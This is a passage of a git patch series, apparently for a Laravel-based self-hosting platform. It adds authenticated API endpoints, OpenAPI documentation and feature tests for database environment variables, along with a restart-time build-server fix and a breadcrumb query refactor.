[ + new OA\MediaType( + mediaType: 'application/json', + schema: new OA\Schema( + type: 'object', + properties: [ + 'message' => ['type' => 'string', 'example' => 'Environment variable deleted.'], + ] + ) + ), + ] + ), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + new OA\Response( + response: 404, + ref: '#/components/responses/404', + ), + ] + )] + public function delete_env_by_uuid(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + + $database = queryDatabaseByUuidWithinTeam($request->route('uuid'), $teamId); + if (! $database) { + return response()->json(['message' => 'Database not found.'], 404); + } + + $this->authorize('manageEnvironment', $database); + + $env = EnvironmentVariable::where('uuid', $request->route('env_uuid')) + ->where('resourceable_type', get_class($database)) + ->where('resourceable_id', $database->id) + ->first(); + + if (! $env) { + return response()->json(['message' => 'Environment variable not found.'], 404); + } + + $env->forceDelete(); + + return response()->json(['message' => 'Environment variable deleted.']); + } } diff --git a/openapi.json b/openapi.json index 5477420ab..d119176a1 100644 --- a/openapi.json +++ b/openapi.json @@ -6132,6 +6132,387 @@ ] } }, + "\/databases\/{uuid}\/envs": { + "get": { + "tags": [ + "Databases" + ], + "summary": "List Envs", + "description": "List all envs by database UUID.", + "operationId": "list-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variables.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "post": { + "tags": [ + "Databases" + ], + "summary": "Create Env", + "description": "Create env by database UUID.", + "operationId": "create-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env created.", + "required": true, + "content": { + "application\/json": { + "schema": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable created.", + "content": { + "application\/json": { + "schema": { + "properties": { + "uuid": { + "type": "string", + "example": "nc0k04gk8g0cgsk440g0koko" + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + }, + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Env", + "description": "Update env by database UUID.", + "operationId": "update-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Env updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "key", + "value" + ], + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variable updated.", + "content": { + "application\/json": { + "schema": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/bulk": { + "patch": { + "tags": [ + "Databases" + ], + "summary": "Update Envs (Bulk)", + "description": "Update multiple envs by database UUID.", + "operationId": "update-envs-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "description": "Bulk envs updated.", + "required": true, + "content": { + "application\/json": { + "schema": { + "required": [ + "data" + ], + "properties": { + "data": { + "type": "array", + "items": { + "properties": { + "key": { + "type": "string", + "description": "The key of the environment variable." + }, + "value": { + "type": "string", + "description": "The value of the environment variable." + }, + "is_literal": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is a literal, nothing espaced." + }, + "is_multiline": { + "type": "boolean", + "description": "The flag to indicate if the environment variable is multiline." + }, + "is_shown_once": { + "type": "boolean", + "description": "The flag to indicate if the environment variable's value is shown on the UI." + } + }, + "type": "object" + } + } + }, + "type": "object" + } + } + } + }, + "responses": { + "201": { + "description": "Environment variables updated.", + "content": { + "application\/json": { + "schema": { + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/EnvironmentVariable" + } + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, + "\/databases\/{uuid}\/envs\/{env_uuid}": { + "delete": { + "tags": [ + "Databases" + ], + "summary": "Delete Env", + "description": "Delete env by UUID.", + "operationId": "delete-env-by-database-uuid", + "parameters": [ + { + "name": "uuid", + "in": "path", + "description": "UUID of the database.", + "required": true, + "schema": { + "type": "string" + } + }, + { + "name": "env_uuid", + "in": "path", + "description": "UUID of the environment variable.", + "required": true, + "schema": { + "type": "string" + } + } + ], + "responses": { + "200": { + "description": "Environment variable deleted.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Environment variable deleted." + } + }, + "type": "object" + } + } + } + }, + "401": { + "$ref": "#\/components\/responses\/401" + }, + "400": { + "$ref": "#\/components\/responses\/400" + }, + "404": { + "$ref": "#\/components\/responses\/404" + } + }, + "security": [ + { + "bearerAuth": [] + } + ] + } + }, "\/deployments": { "get": { "tags": [ diff --git a/openapi.yaml b/openapi.yaml index dd03f9c42..7064be28a 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -3973,6 +3973,242 @@ paths: security: - bearerAuth: [] + '/databases/{uuid}/envs': + get: + tags: + - Databases + summary: 'List Envs' + description: 'List all envs by database UUID.' + operationId: list-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variables.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] + post: + tags: + - Databases + summary: 'Create Env' + description: 'Create env by database UUID.' + operationId: create-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env created.' + required: true + content: + application/json: + schema: + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable created.' + content: + application/json: + schema: + properties: + uuid: { type: string, example: nc0k04gk8g0cgsk440g0koko } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + patch: + tags: + - Databases + summary: 'Update Env' + description: 'Update env by database UUID.' + operationId: update-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Env updated.' + required: true + content: + application/json: + schema: + required: + - key + - value + properties: + key: + type: string + description: 'The key of the environment variable.' + value: + type: string + description: 'The value of the environment variable.' + is_literal: + type: boolean + description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' + is_multiline: + type: boolean + description: 'The flag to indicate if the environment variable is multiline.' + is_shown_once: + type: boolean + description: "The flag to indicate if the environment variable's value is shown on the UI." + type: object + responses: + '201': + description: 'Environment variable updated.' + content: + application/json: + schema: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/bulk': + patch: + tags: + - Databases + summary: 'Update Envs (Bulk)' + description: 'Update multiple envs by database UUID.' + operationId: update-envs-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + requestBody: + description: 'Bulk envs updated.' + required: true + content: + application/json: + schema: + required: + - data + properties: + data: + type: array + items: { properties: { key: { type: string, description: 'The key of the environment variable.' }, value: { type: string, description: 'The value of the environment variable.' }, is_literal: { type: boolean, description: 'The flag to indicate if the environment variable is a literal, nothing espaced.' }, is_multiline: { type: boolean, description: 'The flag to indicate if the environment variable is multiline.' }, is_shown_once: { type: boolean, description: "The flag to indicate if the environment variable's value is shown on the UI." } }, type: object } + type: object + responses: + '201': + description: 'Environment variables updated.' + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/EnvironmentVariable' + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' + security: + - + bearerAuth: [] + '/databases/{uuid}/envs/{env_uuid}': + delete: + tags: + - Databases + summary: 'Delete Env' + description: 'Delete env by UUID.' + operationId: delete-env-by-database-uuid + parameters: + - + name: uuid + in: path + description: 'UUID of the database.' + required: true + schema: + type: string + - + name: env_uuid + in: path + description: 'UUID of the environment variable.' + required: true + schema: + type: string + responses: + '200': + description: 'Environment variable deleted.' + content: + application/json: + schema: + properties: + message: { type: string, example: 'Environment variable deleted.' } + type: object + '401': + $ref: '#/components/responses/401' + '400': + $ref: '#/components/responses/400' + '404': + $ref: '#/components/responses/404' + security: + - + bearerAuth: [] /deployments: get: tags: diff --git a/routes/api.php b/routes/api.php index b02682a5b..1de365c49 100644 --- a/routes/api.php +++ b/routes/api.php @@ -154,6 +154,12 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); + Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php new file mode 100644 index 000000000..f3297cf17 --- /dev/null +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -0,0 +1,346 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createDatabase($context): StandalonePostgresql +{ + return StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $context->environment->id, + 'destination_id' => $context->destination->id, + 'destination_type' => $context->destination->getMorphClass(), + ]); +} + +describe('GET /api/v1/databases/{uuid}/envs', function () { + test('lists environment variables for a database', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'CUSTOM_VAR', + 'value' => 'custom_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJsonFragment(['key' => 'CUSTOM_VAR']); + }); + + test('returns empty array when no environment variables exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson("/api/v1/databases/{$database->uuid}/envs"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns 404 for non-existent database', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->getJson('/api/v1/databases/non-existent-uuid/envs'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/databases/{uuid}/envs', function () { + test('creates an environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NEW_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'NEW_VAR') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($env)->not->toBeNull(); + expect($env->value)->toBe('new_value'); + }); + + test('creates an environment variable with comment', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'COMMENTED_VAR', + 'value' => 'some_value', + 'comment' => 'This is a test comment', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'COMMENTED_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->comment)->toBe('This is a test comment'); + }); + + test('returns 409 when environment variable already exists', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'existing_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'EXISTING_VAR', + 'value' => 'new_value', + ]); + + $response->assertStatus(409); + }); + + test('returns 422 when key is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$database->uuid}/envs", [ + 'value' => 'some_value', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs', function () { + test('updates an environment variable', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'UPDATE_ME', + 'value' => 'old_value', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'UPDATE_ME', + 'value' => 'new_value', + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'UPDATE_ME') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + }); + + test('returns 404 when environment variable does not exist', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs", [ + 'key' => 'NONEXISTENT', + 'value' => 'value', + ]); + + $response->assertStatus(404); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/envs/bulk', function () { + test('creates environment variables with comments', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'DB_HOST', + 'value' => 'localhost', + 'comment' => 'Database host', + ], + [ + 'key' => 'DB_PORT', + 'value' => '5432', + ], + ], + ]); + + $response->assertStatus(201); + + $envWithComment = EnvironmentVariable::where('key', 'DB_HOST') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + $envWithoutComment = EnvironmentVariable::where('key', 'DB_PORT') + ->where('resourceable_id', $database->id) + ->where('resourceable_type', StandalonePostgresql::class) + ->first(); + + expect($envWithComment->comment)->toBe('Database host'); + expect($envWithoutComment->comment)->toBeNull(); + }); + + test('updates existing environment variables via bulk', function () { + $database = createDatabase($this); + + EnvironmentVariable::create([ + 'key' => 'BULK_VAR', + 'value' => 'old_value', + 'comment' => 'Old comment', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'BULK_VAR', + 'value' => 'new_value', + 'comment' => 'Updated comment', + ], + ], + ]); + + $response->assertStatus(201); + + $env = EnvironmentVariable::where('key', 'BULK_VAR') + ->where('resourceable_id', $database->id) + ->first(); + + expect($env->value)->toBe('new_value'); + expect($env->comment)->toBe('Updated comment'); + }); + + test('rejects comment exceeding 256 characters', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", [ + 'data' => [ + [ + 'key' => 'TEST_VAR', + 'value' => 'value', + 'comment' => str_repeat('a', 257), + ], + ], + ]); + + $response->assertStatus(422); + }); + + test('returns 400 when data is missing', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", []); + + $response->assertStatus(400); + }); +}); + +describe('DELETE /api/v1/databases/{uuid}/envs/{env_uuid}', function () { + test('deletes an environment variable', function () { + $database = createDatabase($this); + + $env = EnvironmentVariable::create([ + 'key' => 'DELETE_ME', + 'value' => 'to_delete', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Environment variable deleted.']); + + expect(EnvironmentVariable::where('uuid', $env->uuid)->first())->toBeNull(); + }); + + test('returns 404 for non-existent environment variable', function () { + $database = createDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->deleteJson("/api/v1/databases/{$database->uuid}/envs/non-existent-uuid"); + + $response->assertStatus(404); + }); +}); From 65ed407ec82389408fb4f4b210c38eb9f08890fe Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:42:11 +0100 Subject: [PATCH 47/51] fix(deployment): disable build server during restart operations MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The just_restart() method doesn't need the build server—disabling it ensures the helper container is created on the deployment server with the correct network configuration and flags. The build server setting is restored before should_skip_build() is called in case it triggers a full rebuild that requires it. --- app/Jobs/ApplicationDeploymentJob.php | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7adb938c5..7075fd8a3 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -1103,10 +1103,21 @@ private function generate_image_names() private function just_restart() { $this->application_deployment_queue->addLogEntry("Restarting {$this->customRepository}:{$this->application->git_branch} on {$this->server->name}."); + + // Restart doesn't need the build server — disable it so the helper container + // is created on the deployment server with the correct network/flags. + $originalUseBuildServer = $this->use_build_server; + $this->use_build_server = false; + $this->prepare_builder_image(); $this->check_git_if_build_needed(); $this->generate_image_names(); $this->check_image_locally_or_remotely(); + + // Restore before should_skip_build() — it may re-enter decide_what_to_do() + // for a full rebuild which needs the build server. + $this->use_build_server = $originalUseBuildServer; + $this->should_skip_build(); $this->completeDeployment(); } From e65ad22b42133b1941ffd75ecbbb9f19b6de972f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 20 Mar 2026 00:02:18 +0100 Subject: [PATCH 48/51] refactor(breadcrumb): optimize queries and simplify state management - Add column selection to breadcrumb queries for better performance - Remove unused Alpine.js state (activeRes, activeMenuEnv, resPositions, menuPositions) - Simplify dropdown logic by removing duplicate state handling in index view - Change database relationship eager loading to use explicit column selection --- app/Livewire/Project/Resource/Index.php | 127 +++-- .../resources/breadcrumbs.blade.php | 531 ++---------------- .../livewire/project/resource/index.blade.php | 331 ++--------- 3 files changed, 167 insertions(+), 822 deletions(-) diff --git a/app/Livewire/Project/Resource/Index.php b/app/Livewire/Project/Resource/Index.php index be6e3e98f..094b61b28 100644 --- a/app/Livewire/Project/Resource/Index.php +++ b/app/Livewire/Project/Resource/Index.php @@ -13,33 +13,33 @@ class Index extends Component public Environment $environment; - public Collection $applications; - - public Collection $postgresqls; - - public Collection $redis; - - public Collection $mongodbs; - - public Collection $mysqls; - - public Collection $mariadbs; - - public Collection $keydbs; - - public Collection $dragonflies; - - public Collection $clickhouses; - - public Collection $services; - public Collection $allProjects; public Collection $allEnvironments; public array $parameters; - public function mount() + protected Collection $applications; + + protected Collection $postgresqls; + + protected Collection $redis; + + protected Collection $mongodbs; + + protected Collection $mysqls; + + protected Collection $mariadbs; + + protected Collection $keydbs; + + protected Collection $dragonflies; + + protected Collection $clickhouses; + + protected Collection $services; + + public function mount(): void { $this->applications = $this->postgresqls = $this->redis = $this->mongodbs = $this->mysqls = $this->mariadbs = $this->keydbs = $this->dragonflies = $this->clickhouses = $this->services = collect(); $this->parameters = get_route_parameters(); @@ -55,31 +55,23 @@ public function mount() $this->project = $project; - // Load projects and environments for breadcrumb navigation (avoids inline queries in view) + // Load projects and environments for breadcrumb navigation $this->allProjects = Project::ownedByCurrentTeamCached(); $this->allEnvironments = $project->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications.additional_servers', - 'applications.destination.server', - 'services', - 'services.destination.server', - 'postgresqls', - 'postgresqls.destination.server', - 'redis', - 'redis.destination.server', - 'mongodbs', - 'mongodbs.destination.server', - 'mysqls', - 'mysqls.destination.server', - 'mariadbs', - 'mariadbs.destination.server', - 'keydbs', - 'keydbs.destination.server', - 'dragonflies', - 'dragonflies.destination.server', - 'clickhouses', - 'clickhouses.destination.server', - ])->get(); + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', + ]) + ->get(); $this->environment = $environment->loadCount([ 'applications', @@ -94,11 +86,9 @@ public function mount() 'services', ]); - // Eager load all relationships for applications including nested ones + // Eager load relationships for applications $this->applications = $this->environment->applications()->with([ 'tags', - 'additional_servers.settings', - 'additional_networks', 'destination.server.settings', 'settings', ])->get()->sortBy('name'); @@ -160,6 +150,49 @@ public function mount() public function render() { - return view('livewire.project.resource.index'); + return view('livewire.project.resource.index', [ + 'applications' => $this->applications, + 'postgresqls' => $this->postgresqls, + 'redis' => $this->redis, + 'mongodbs' => $this->mongodbs, + 'mysqls' => $this->mysqls, + 'mariadbs' => $this->mariadbs, + 'keydbs' => $this->keydbs, + 'dragonflies' => $this->dragonflies, + 'clickhouses' => $this->clickhouses, + 'services' => $this->services, + 'applicationsJs' => $this->toSearchableArray($this->applications), + 'postgresqlsJs' => $this->toSearchableArray($this->postgresqls), + 'redisJs' => $this->toSearchableArray($this->redis), + 'mongodbsJs' => $this->toSearchableArray($this->mongodbs), + 'mysqlsJs' => $this->toSearchableArray($this->mysqls), + 'mariadbsJs' => $this->toSearchableArray($this->mariadbs), + 'keydbsJs' => $this->toSearchableArray($this->keydbs), + 'dragonfliesJs' => $this->toSearchableArray($this->dragonflies), + 'clickhousesJs' => $this->toSearchableArray($this->clickhouses), + 'servicesJs' => $this->toSearchableArray($this->services), + ]); + } + + private function toSearchableArray(Collection $items): array + { + return $items->map(fn ($item) => [ + 'uuid' => $item->uuid, + 'name' => $item->name, + 'fqdn' => $item->fqdn ?? null, + 'description' => $item->description ?? null, + 'status' => $item->status ?? '', + 'server_status' => $item->server_status ?? null, + 'hrefLink' => $item->hrefLink ?? '', + 'destination' => [ + 'server' => [ + 'name' => $item->destination?->server?->name ?? 'Unknown', + ], + ], + 'tags' => $item->tags->map(fn ($tag) => [ + 'id' => $tag->id, + 'name' => $tag->name, + ])->values()->toArray(), + ])->values()->toArray(); } } diff --git a/resources/views/components/resources/breadcrumbs.blade.php b/resources/views/components/resources/breadcrumbs.blade.php index 135cad3a7..300a8d6e2 100644 --- a/resources/views/components/resources/breadcrumbs.blade.php +++ b/resources/views/components/resources/breadcrumbs.blade.php @@ -12,17 +12,18 @@ $projects = $projects ?? Project::ownedByCurrentTeamCached(); $environments = $environments ?? $resource->environment->project ->environments() + ->select('id', 'uuid', 'name', 'project_id') ->with([ - 'applications', - 'services', - 'postgresqls', - 'redis', - 'mongodbs', - 'mysqls', - 'mariadbs', - 'keydbs', - 'dragonflies', - 'clickhouses', + 'applications:id,uuid,name,environment_id', + 'services:id,uuid,name,environment_id', + 'postgresqls:id,uuid,name,environment_id', + 'redis:id,uuid,name,environment_id', + 'mongodbs:id,uuid,name,environment_id', + 'mysqls:id,uuid,name,environment_id', + 'mariadbs:id,uuid,name,environment_id', + 'keydbs:id,uuid,name,environment_id', + 'dragonflies:id,uuid,name,environment_id', + 'clickhouses:id,uuid,name,environment_id', ]) ->get(); $currentProjectUuid = data_get($resource, 'environment.project.uuid'); @@ -63,7 +64,7 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg -
  • +
  • + x-transition:leave-end="opacity-0 scale-95" + class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" + x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
    @foreach ($environments as $environment) @php - // Use pre-loaded relations instead of databases() method to avoid N+1 queries $envDatabases = collect() ->merge($environment->postgresqls ?? collect()) ->merge($environment->redis ?? collect()) @@ -101,26 +103,17 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor ->merge($environment->dragonflies ?? collect()) ->merge($environment->clickhouses ?? collect()); $envResources = collect() - ->merge( - $environment->applications->map( - fn($app) => ['type' => 'application', 'resource' => $app], - ), - ) - ->merge( - $envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]), - ) - ->merge( - $environment->services->map( - fn($svc) => ['type' => 'service', 'resource' => $svc], - ), - ); + ->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app])) + ->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db])) + ->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc])) + ->sortBy(fn($item) => strtolower($item['resource']->name)); @endphp
